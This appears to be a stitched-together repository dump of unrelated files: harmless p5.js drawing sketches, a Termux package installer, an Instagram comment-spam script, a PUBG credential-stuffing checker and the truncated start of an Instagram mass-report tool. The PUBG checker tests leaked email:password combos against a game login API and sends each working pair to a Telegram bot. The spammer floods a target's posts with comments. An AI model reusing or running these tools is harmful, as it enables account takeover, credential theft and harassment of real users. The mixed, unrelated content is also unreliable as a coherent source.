createCanvas(canvasWidth,canvasHeight);
background(canvasColor);
}
function draw() {
var start = 0;
var midpoint = 200;
var end = 400;
stroke(255);
if (complete === 0) // this is to make sure the curved lines are not all the same color
{
// upper left quadrant curved lines
strokeWeight(2);
stroke(220,20,60);
noFill();
beginShape();
curveVertex(start, midpoint );
curveVertex(200, 0);
curveVertex(40,40);
curveVertex(50, 140);
curveVertex(0, 200);
curveVertex(midpoint, start);
endShape();
stroke(220,20,60, 140);
beginShape();
curveVertex(start-500, midpoint );
curveVertex(200, 0);
curveVertex(50,40);
curveVertex(60, 120);
curveVertex(0, 200);
curveVertex(midpoint, start+400);
endShape();
stroke(205,92,92);
beginShape();
curveVertex(start+800, midpoint );
curveVertex(200, 0);
curveVertex(60,40);
curveVertex(70, 130);
curveVertex(0, 200);
curveVertex(midpoint, start+200);
endShape();
// upper right quadrant curved lines
strokeWeight(3);
stroke(60,179,113);
beginShape();
curveVertex(300, 200);
curveVertex(300, 200);
curveVertex(250,120);
curveVertex(300, 40);
curveVertex(300, 0);
curveVertex(300, 0);
endShape();
// lower left quadrant curved lines
strokeWeight(3);
stroke(0,0,205);
beginShape();
curveVertex(0, 300);
curveVertex(0, 300);
curveVertex(50,320);
curveVertex(90,250);
curveVertex(120, 370);
curveVertex(200,300);
curveVertex(200,300);
endShape();
stroke(65,105,225);
beginShape();
curveVertex(0, 320);
curveVertex(0, 320);
curveVertex(50,350);
curveVertex(90,220);
curveVertex(130, 380);
curveVertex(200,270);
curveVertex(200,270);
endShape();
// lower right quadrant curved lines
strokeWeight(2);
stroke(244,164,96);
beginShape();
curveVertex(200, 200);
curveVertex(200, 200);
curveVertex(210,230);
curveVertex(260,240);
curveVertex(280,320);
curveVertex(350,340);
curveVertex(370, 390);
curveVertex(400,400);
curveVertex(400,400);
endShape();
stroke(255,215,0);
beginShape();
curveVertex(200, 230);
curveVertex(200, 230);
curveVertex(210,240);
curveVertex(260,230);
curveVertex(300,340);
curveVertex(370,340);
curveVertex(370, 385);
curveVertex(400,400);
curveVertex(400,400);
endShape();
stroke(255,127,80);
beginShape();
curveVertex(210, 200);
curveVertex(210, 200);
curveVertex(230,220);
curveVertex(270,220);
curveVertex(300,370);
curveVertex(340,360);
curveVertex(350,395);
curveVertex(380,400);
curveVertex(380,400);
endShape();
stroke(184,134,11);
beginShape();
curveVertex(205, 200);
curveVertex(205, 200);
curveVertex(220,260);
curveVertex(300,270);
curveVertex(320,350);
curveVertex(340,385);
curveVertex(400,390);
curveVertex(400,390);
endShape();
// dividing up the canvas into 4 squares
strokeWeight(3);
stroke(192,192,192);
line(start, midpoint, end, midpoint);
line(midpoint, start, midpoint, end);
complete = 1;
}
}
<file_sep>/17/script.js
var canvasWidth = 400;
var canvasHeight = 400;
var canvasColor;
function setup() {
frameRate(10);
canvasColor = color(0);
createCanvas(canvasWidth,canvasHeight);
background(canvasColor);
}
function draw() {
//variables for keeping track of X and Y coordinates
var start = 0;
var midpoint = 200;
var end = 400;
var N = 5;
stroke(255);
// upper left shape
beginShape();
vertex(start,start);
vertex(midpoint,start);
vertex(midpoint,midpoint);
vertex(start, end);
endShape(CLOSE);
// lower left triangle
beginShape();
vertex(start,end);
vertex(midpoint,midpoint);
vertex(midpoint,end);
endShape(CLOSE);
// upper right triangle
beginShape();
vertex(end,start);
vertex(midpoint,start);
vertex(midpoint,midpoint);
endShape(CLOSE);
// lower left shape
beginShape();
vertex(midpoint,midpoint);
vertex(end,start);
vertex(end,end);
vertex(midpoint,end);
endShape(CLOSE);
// upper left shape and upper right triangle: incremental lines
for(var L = 10; L < 210; L += 10)
{
line(midpoint-L,start,midpoint,start+L);
line(start,start+L, midpoint-L, midpoint);
line(start,end-L,start+N,end-N);
line(start+L,midpoint,100+N,300-N);
line(midpoint+L,start,midpoint,start+L);
N +=5;
}
var URindex = 1; // upper right index
var LLindex = 0; // lower left index
for(var yPos = end; yPos >= 0; yPos = yPos-40)
{
if(yPos > midpoint)
{
// lower right bottom line
line(midpoint,yPos-40, end, yPos);
// lower left triangle lines and right shape lines
var LLoffset = 0 + (50 * LLindex);
line(midpoint, yPos-40, LLoffset, end - (50 * LLindex));
LLindex ++;
}
else
{
// Upper Right Shape
var URoffset = midpoint + URindex;
line((URoffset)+29 * URindex, (yPos-40)+10 * URindex, end, ((yPos-40)+10 * URindex)+(35-(6*(URindex-1))));
URindex ++;
}
}
}<file_sep>/45/script.js
// declaring variables
var canvasWidth = 400;
var canvasHeight = 400;
var canvasColor;
var complete = 0;
function setup() {
frameRate(10);
canvasColor = color(0);
createCanvas(canvasWidth,canvasHeight);
background(canvasColor);
}
function draw() {
stroke(255);
var modIndex = 0; // Starting variable for cylcing through each of the rotated lines (horizontal, diagonal, vertical)
for(var i = 0; i < 10; i++)
{
for(var j = 0; j < 10; j++)
{
if(modIndex == 0) // the horizontal lines
{
for(var k = 10; k <= 30; k++)
{
rect((40*j)+k,((40*i))+20,1,1);
}
modIndex ++;
}
else if(modIndex == 1) // the up to down diagonal lines
{
for(var k = 10; k <= 30; k++)
{
rect((40*j)+k,(40*i)+k,1,1);
}
modIndex ++;
}
else if(modIndex == 2) // the vertical lines
{
for(var k = 10; k <= 30; k++)
{
rect((40*j)+20,((40*i))+k,1,1);
}
modIndex ++;
}
else if(modIndex == 3) // the down to up diagonal lines
{
for(var k = 10; k <= 30; k++)
{
rect(((40*j)-k)+40,(40*i)+k,1,1);
}
modIndex = 0; //this starts the next round of
}
}
modIndex++; // this allows the pattern to start on the next row with the next pattern sequence. Otherwise all the rows would start with the horizontal line.
if(modIndex == 4)
{
modIndex = 0;
}
}
} | e1cc147c035171ceaee1dea8c17da38a25a0f61e | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | wolf-dominion/solving-sol | 0e1d8db712692d7073e278f91aa253352da3f2eb | ffe5e6d8966b03bbc2b6f8eeed2b0c3c0afa2a26 |
refs/heads/main | <file_sep>#!/bin/bash
clear
cd ..
rm -rif usr/etc/motd
cd $HOME
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ am toola drustkrawa +\n\r"
printf "\033[92m+ GHAFO +\n\r"
printf "\033[92m+ snapchat {ghafar3822} +\n\r"
printf "\033[91m++++++++++++++++<<GHAFO>>+++++++++++++++++\n\r"
sleep 3
xdg-open https://t.me/i7mghafo
pkg update -y
clear
pkg upgrade
sleep 10
clear
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[91m+ Chawre bka ta command dabzet +\n\r"
printf "\033[91m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[92m+ <<IAM GHAFO >> +\n\r"
sleep 5
termux-setup-storage
clear
sleep 3
printf "\033[93m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[91m+ chawre bka ta python dabzet +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[93m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pkg install python -y
clear
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ pythonish ba sarkawtuy dawnload bw +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
printf "\033[93m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[91m+ chawre bka ta python2 dabzet +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[93m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pkg install python2 -y
clear
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ pythonish ba sarkawtuy dawnload bw +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[95m+ chawre bka ta git dabzet +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pkg install git -y
clear
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ gitish ba sarkawtuy dawnload bw +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[95m+ chawre bka ta pip2 dabzet +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pip2 install requests mechanize
clear
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[95m+ pip2ish ba sarkawtuy dawnload bw +\n\r"
printf "\033[95m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
printf "\033[95m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ chawre bka ta nano dabzet +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[95m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pkg install nano -y
clear
printf "\033[96m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[91m+ nanoish ba sarkawtuy dawnload bw +\n\r"
printf "\033[95m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[93m+ chawre bka ta ruby dabzet +\n\r"
printf "\033[93m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pkg install ruby-y
clear
printf "\033[97m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ rubyish ba sarkawtuy dawnload bw +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[97m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[97m+ chawre bka ta php dabzet +\n\r"
printf "\033[97m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pkg install php -y
printf "\033[93m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ phpish ba sarkawtuy dawnload bw +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[93m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[94m+ chawre bka ta curl dabzet +\n\r"
printf "\033[94m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pkg install curl -y
clear
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[95m+ curlish ba sarkawtuy dawnload bw +\n\r"
printf "\033[95m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
printf "\033[96m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[91m+ chawre bka ta figlet dabzet +\n\r"
printf "\033[91m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[96m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pkg install figlet -y
clear
printf "\033[96m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ figletish ba sarkawtuy dawnload bw +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[96m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
figlet GHAFO
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ chawre bka ta zip dabzet +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pkg install zip -y
clear
figlet GHAFO
printf "\033[96m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ zipish ba sarkawtuy dawnload bw +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[96m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
figlet GHAFO
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ chawre bka ta unzip dabzet +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pkg install unzip -y
clear
figlet GHAFO
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[96m+ unzipish ba sarkawtuy dawnload bw +\n\r"
printf "\033[96m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
figlet GHAFO
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[95m+ chawre bka ta fish dabzet +\n\r"
printf "\033[95m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
skeep 4
pkg install fish -y
clear
figlet GHAFO
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[96m+ fishish ba sarkawtuy dawnload bw +\n\r"
printf "\033[96m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
figlet GHAFO
printf "\033[93m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[91m+ chawre bka ta openssl dabzet +\n\r"
printf "\033[91m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[93m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
pkg install openssl-y
clear
figlet GHAFO
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[96m+ opensslish ba sarkawtuy dawnload bw +\n\r"
printf "\033[96m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
figlet GHAFO
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[95m+ Tawaw dlm Joine Channle ba +\n\r"
printf "\033[95m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
clear
figlet GHAFO
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ Tawaw dlm Joine Channle ba +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[94m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
clear
figlet GHAFO
sleep 7
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[91m+ addm bka la snapchat +\n\r"
printf "\033[91m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
figlet GHAFO
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[91m+ addm bka la snapchat +\n\r"
printf "\033[91m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[92m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
clear
figlet snapchat
xdg-open https://www.snapchat.com/add/ghafar3822
sleep 10
clear
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
printf "\033[92m+ This Tool Crate BY +\n\r"
printf "\033[92m+ IAM GHAFO +\n\r"
printf "\033[92m+ Snapchat {ghafar 3822} +\n\r"
printf "\033[91m+++++++++++++++++<<GHAFO>>++++++++++++++++\n\r"
sleep 4
figlet TAWAWBU DLM<file_sep>#!/bin/bash
#Instagram: @sprx.sh
##############################
# Colors
# PURPLE = '\033[95m'
# CYAN = '\033[96m'
# WHITE = '\033[37m'
# DARKCYAN = '\033[36m'
# BLUE = '\033[94m'
# GREEN = '\033[92m'
# YELLOW = '\033[93m'
# RED = '\033[91m'
# BOLD = '\033[1m'
# HEADER = '\033[95m'
# OKBLUE = '\033[94m'
# OKGREEN = '\033[92m'
# WARNING = '\033[93m'
# FAIL = '\033[91m'
# UNDERLINE = '\033[4m'
# END = '\033[0m'
# COREGREEN = '\033[1;35;32m'
#W = '\033[0m' # white (normal)
#R = '\033[31m' # red
#G = '\033[32m' # green
#O = '\033[33m' # orange
#B = '\033[34m' # blue
#P = '\033[35m' # purple
#C = '\033[36m' # cyan
#GR = '\033[37m' # gray
#T = '\033[93m' # tan
#CG = '\033[1;35;32m' # magenta
##############################
csrftoken=$(curl https://www.instagram.com/accounts/login/ajax -L -i -s | grep "csrftoken" | cut -d "=" -f2 | cut -d ";" -f1)
logininstagram() {
if [[ "$yourusername" == "" ]]; then
read -p $'\033[93m ┌─ \033[96m[✗]─[username@instagram]: \e[0m' username
else
username="${username:-${yourusername}}"
fi
if [[ "$yourpassword" == "" ]]; then
read -s -p $'\033[93m └─ \033[96m[✗]─[password@instagram]: \e[0m' password
else
password="${password:-${yourpassword}}"
fi
ck_login=$(curl -c cookies.txt 'https://www.instagram.com/accounts/login/ajax/' -H 'Cookie: csrftoken='$csrftoken'' -H 'X-Instagram-AJAX: 1' -H 'Referer: https://www.instagram.com/' -H 'X-CSRFToken:'$csrftoken'' -H 'X-Requested-With: XMLHttpRequest' --data 'username='$username'&password='$<PASSWORD>'&intent' -L --compressed -s | grep -o '"authenticated": true')
if [[ "$ck_login" == *'"authenticated": true'* ]]; then
printf "\n\033[91m✡\033[96m Login Successful \033[91m✡\n"
else
printf "\n\033[91m[!] Login Information Incorrect, Resetting.\n\e[0m"
sleep 3
reset
banner
logininstagram
fi
}
writemessage() {
IFS=$'\n'
safeamount="10"
safemessage="Follow @sprx.sh :)"
read -p $'\033[93m ┌─ \033[96m[✗]─[message@instagram]: ' spammessage
message="${spammessage:-${safemessage}}"
read -p $'\033[93m │ \033[96m [✗]─[amount@instagram]: ' spamamount
amount="${spamamount:-${safeamount}}"
}
selectaccount() {
read -p $'\033[93m └─ \033[96m[✗]─[target@instagram]: ' accountuser
checkaccount=$(curl -L -s https://www.instagram.com/$accountuser/ | grep -c "PAGE NOT FOUND")
if [[ "$checkaccount" == 1 ]]; then
printf "\n\033[91m[!] User Not Found, Resetting.\n\e[0m"
sleep 1
account
fi
curl -s -L https://www.instagram.com/$accountuser | grep -o '"id":"..................[0-9]' | cut -d ":" -f2 | tr -d '"' > media_id
postnumber="1"
printf "\033[91m✡\033[96m Account Selected Successful \033[91m✡\n"
printf "\033[93m\n Darker Text = Latest Post\n"
printf "\033[93m┌──────────────────────────────┐\n"
for id in $(cat media_id); do
printf "\033[93m│ \033[91mPost: \033[37m%s \033[93m │\e[1;77m %s\n" $id $postnumber
let postnumber++
done
printf "\033[93m└──────────────────────────────┘\n"
latestpost="0"
read -p $'\033[93m └─ \033[96m[✗]─[postselect@instagram]: ' post
post="${post:-${latestpost}}"
media_id=$(sed ''$post'q;d' media_id)
}
spammer() {
ending=.
for i in $(seq 1 $amount); do
printf " \033[91m✗\033[96m[Sending Message]:\e[1;93m%s\e[1;77m/\e[0m\e[1;93m%s\e[0m" $i $amount
IFS=$'\n'
comment=$(curl -i -s -k -X $'POST' -H $'Host: www.instagram.com' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-CSRFToken:'$csrftoken'' -H $'X-Instagram-AJAX: 9de6d949df8f' -H $'Content-Type: application/x-www-form-urlencoded' -H $'X-Requested-With: XMLHttpRequest' -H $'Cookie: csrftoken='$csrftoken'; ' -H $'Connection: close' -b cookies.txt --data-binary $'comment_text='$message' '$count'&replied_to_comment_id=' $'https://www.instagram.com/web/comments/'$media_id'/add/' -w "\n%{http_code}\n" | grep -a "HTTP/2 200"); if [[ "$comment" == *'HTTP/2 200'* ]]; then printf "\n"; printf "%s\n" $media_id >> commented.txt ; else printf "\e[1;93m [ERROR] \e[0m \e[1;77m- [1:30 Second Break]\e[0m\n"; sleep 90; fi;
sleep 1
done
printf "\033[91m[Instagram] \033[37m- https://www.instagram.com/sprx.sh/ - @sprx.sh\033[93m\n"
}
dependencies() {
command -v curl > /dev/null 2>&1 || { echo >&2 "CURL not Installed! Run ./install.sh. Exiting..."; exit 1; }
}
banner() {
reset
printf "\033[91m██╗ ██████╗ ███████╗██████╗ █████╗ ███╗ ███╗\n"
printf "██║██╔════╝ ██╔════╝██╔══██╗██╔══██╗████╗ ████║\n"
printf "██║██║ ███╗█████╗███████╗██████╔╝███████║██╔████╔██║\n"
printf "██║██║ ██║╚════╝╚════██║██╔═══╝ ██╔══██║██║╚██╔╝██║\n"
printf "██║╚██████╔╝ ███████║██║ ██║ ██║██║ ╚═╝ ██║\n"
printf "╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝\n"
printf " \033[36mBy: @Tarmay_Rash | <3 \n"
date +"%r%n%D - %A, %B %d" |lolcat
printf "\033[93m┌─────────────────────────────────────────────────────────────────┐\n"
printf "│ \033[91m[Chanel Telgram] \033[37m- Termux_Klailinux \033[93m │\n"
printf "│ \033[91m[Telgram Shaxsim] \033[37m- @sell_pubg9 \033[93m │\n"
printf "└─────────────────────────────────────────────────────────────────┘\n"
}
banner
dependencies
logininstagram
writemessage
selectaccount
spammer
<file_sep>try:
import requests,hashlib,random,string,time
except:
os.system("pip install requests ;python PUBG-CHECK.py")
r = requests.session()
print("""
\033[1;93m
░█████╗░██╗░░██╗███████╗░█████╗░██╗░░██╗
██╔══██╗██║░░██║██╔════╝██╔══██╗██║░██╔╝
██║░░╚═╝███████║█████╗░░███████║█████═╝░
██║░░██╗██╔══██║██╔══╝░░██╔══██║██╔═██╗░
╚█████╔╝██║░░██║███████╗██║░░██║██║░╚██╗
░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝
██╗░░░░░██╗███╗░░██╗██╗░░██╗
██║░░░░░██║████╗░██║██║░██╔╝
██║░░░░░██║██╔██╗██║█████═╝░
██║░░░░░██║██║╚████║██╔═██╗░
███████╗██║██║░╚███║██║░╚██╗
╚══════╝╚═╝╚═╝░░╚══╝╚═╝░░╚═╝
███████╗███╗░░░███╗░█████╗░██╗██╗░░░░░
██╔════╝████╗░████║██╔══██╗██║██║░░░░░
█████╗░░██╔████╔██║███████║██║██║░░░░░
██╔══╝░░██║╚██╔╝██║██╔══██║██║██║░░░░░
███████╗██║░╚═╝░██║██║░░██║██║███████╗
╚══════╝╚═╝░░░░░╚═╝╚═╝░░╚═╝╚═╝╚══════╝
██████╗░██╗░░░██╗██████╗░░██████╗░
██╔══██╗██║░░░██║██╔══██╗██╔════╝░
██████╔╝██║░░░██║██████╦╝██║░░██╗░
██╔═══╝░██║░░░██║██╔══██╗██║░░╚██╗
██║░░░░░╚██████╔╝██████╦╝╚██████╔╝
╚═╝░░░░░░╚═════╝░╚═════╝░░╚═════╝░
\033[1;97mChanel Telgram==Termux-kalilinux
Chanel T.me ==Tarmay
user Chanel ==@darkweeb9
user T.me ==@sell_pubg9
""")
ID= '1534405523'
token = '<KEY>'
headPUB = {
"Content-Type": "application/json; charset=utf-8","User-Agent": f"Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G973N Build/PPR1.910397.817)","Host": "igame.msdkpass.com","Connection": "Keep-Alive","Accept-Encoding": "gzip","Content-Length": "126"}
def CHECK(email,pess):
eml = email
pas = pess
YES = f"""
\033[1;97m[\033[1;92m✓\033[1;97m]\033[1;94m Hacked PUBG :
\033[1;97m[\033[1;92m✓\033[1;97m]\033[1;91m Email\033[1;97m: {eml}
\033[1;97m[\033[1;92m✓\033[1;97m] \033[1;91mPass\033[1;97m: {pas}
\033[1;90m━━━━━━━━━━━━━"""
NO = f"""
\033[1;97m[\033[1;92m-\033[1;92m]\033[1;94m NOT Hacked PUBG :
\033[1;97m[\033[1;92m-\033[1;92m] \033[1;91mEmail\033[1;97m: {eml}
\033[1;97m[\033[1;92m-\033[1;92m]\033[1;91m Pass\033[1;97m: {pas}
\033[1;90m━━━━━━━━━━━━━"""
pes = hashlib.md5(bytes(f'{pas}', encoding='utf-8')).hexdigest()
J = hashlib.md5(bytes("/account/login?account_plat_type=3&appid=dd921eb18d0c94b41ddc1a6313889627&lang_type=tr_TR&os=1{\"account\":\""+eml+"\",\"account_type\":1,\"area_code\":\"\",\"extra_json\":\"\",\"password\":\""+pes+"\"}<PASSWORD>", encoding="utf-8")).hexdigest()
url = f"https://igame.msdkpass.com/account/login?account_plat_type=3&appid=dd921eb18d0c94b41ddc1a6313889627&lang_type=tr_TR&os=1&sig={J}"
daPU = "{\"account\":\""+eml+"\",\"account_type\":1,\"area_code\":\"\",\"extra_json\":\"\",\"password\":\""+pes+"\"}"
time.sleep(0.5)
GO=r.get(url, data=daPU,headers=headPUB).text
if '"token"' in GO:
print(YES)
r.post(f'https://api.telegram.org/bot{token}/sendMessage?chat_id={ID}&text={YES}\n')
with open('NWE-PUBG.txt', 'a') as x:
x.write(eml+':'+pas+' |@AhmedoPlus\n')
else:
import os
def FILname():
F = input('[+] Enter the name the combo file : ')
try:
for x in open(F,'r').read().splitlines():
email = x.split(":")[0]
pess = x.split(":")[1]
CHECK(email,pess)
except FileNotFoundError:
print('\n[-] The file name is incorrect !\n')
return FILname()
FILname()
<file_sep>import os
lib = input("""
[1] Download lib & update
[2] pass
[+] Please Choice >> """)
if lib == "1":
os.system('pip install requests')
os.system('pip install datetime')
os.system('pip install colorama')
os.system('cls' if os.name == 'nt' else 'clear')
pass
else:
os.system('cls' if os.name == 'nt' else 'clear')
pass
import requests
import json
import secrets
from colorama import Fore, Style
from time import sleep
from datetime import datetime
try:
os.system('color')
except:
pass
r = requests.Session()
G = Fore.GREEN
R = Fore.RED
Y = Fore.YELLOW
a = 0
b = 0
c = 0
d = 0
e = 0
f = 0
g = 0
h = 0
z = 0
cookie = secrets.token_hex(8)*2
time_now= int(datetime.now().timestamp())
banner = (G+"""
[!] Coded By : @Tarmay on Telegram
___ _ _ ____ _____ _ ____ _____ ____ ___ ____ _____
|_ _| \ | / ___|_ _|/ \ | _ \| ____| _ \ / _ \| _ \_ _|
| || \| \___ \ | | / _ \ | |_) | _| | |_) | | | | |_) || |
| || |\ |___) || |/ ___ \| _ <| |___| __/| |_| | _ < | |
|___|_| \_|____/ |_/_/ \_\_| \_\_____|_| \___/|_| \_\|_|
Code By :Tarmay
Chanel T.me:Termux_klilinux
"""+Style.RESET_ALL)
print(banner)
print(G+"="*37+Style.RESET_ALL)
def Secure():
global cookie_jar, csrf_token
ig_nrcb = cookie_jar['ig_nrcb']
ig_did = cookie_jar['ig_did']
mid = cookie_jar['mid']
sec_url='https://www.instagram.com'+json_login['checkpoint_url']
head2 = {
"accept": "*/*",
"accept-encoding": "gzip, deflate, br",
"accept-language": "en-US,en;q=0.9",
"content-type": "application/x-www-form-urlencoded",
"cookie": 'ig_did='+ig_did+'; ig_nrcb='+ig_nrcb+'; csrftoken='+csrf_token+'; mid='+mid,
"origin": "https://www.instagram.com",
"referer": 'https://instagram.com'+json_login['checkpoint_url'],
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"x-csrftoken": csrf_token,
"x-ig-app-id": "936619743392459",
"x-ig-www-claim": "0",
"x-instagram-ajax": "e8e20d8ba618",
"x-requested-with": "XMLHttpRequest"
}
code =input(Y+'[+] '+json.loads(requests.post(sec_url, headers=head2, data={'choice': '1'}).text)['extraData']['content'][1]['text']+' : '+Style.RESET_ALL)
if json.loads(requests.post(sec_url, headers=head2, data={'security_code': code}).text)['type']=='CHALLENGE_REDIRECTION':
login2 = requests.post(log_url, data=payload, headers=head)
print(G+'[-] Login Done'+Style.RESET_ALL)
pass
else:
print(R+'[!] Login Failed'+Style.RESET_ALL)
sleep(3)
exit()
option = input(G+"""
[1] Use one Insta Account
[2] Use Unlimited Account
[+] Enter one option : """)
print(G+"="*37+Style.RESET_ALL)
if option == '1':
username = input(Y+'[+] Enter Insta UserName : ')
password = input(Y+'[+] Enter Insta Password : ')
url = 'https://www.instagram.com/accounts/login/ajax/'
headers = {
"user-agent":"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36",
'x-csrftoken': 'missing',
'mid': cookie
}
data = {
'username':f'{username}',
'enc_password': f'<PASSWORD>}',
'queryParams': '{}',
'optIntoOneTap': 'false'
}
login = r.post(url, headers=headers, data=data)
json_login = json.loads(login.text)
cookies = login.cookies
cookie_jar = cookies.get_dict()
try:
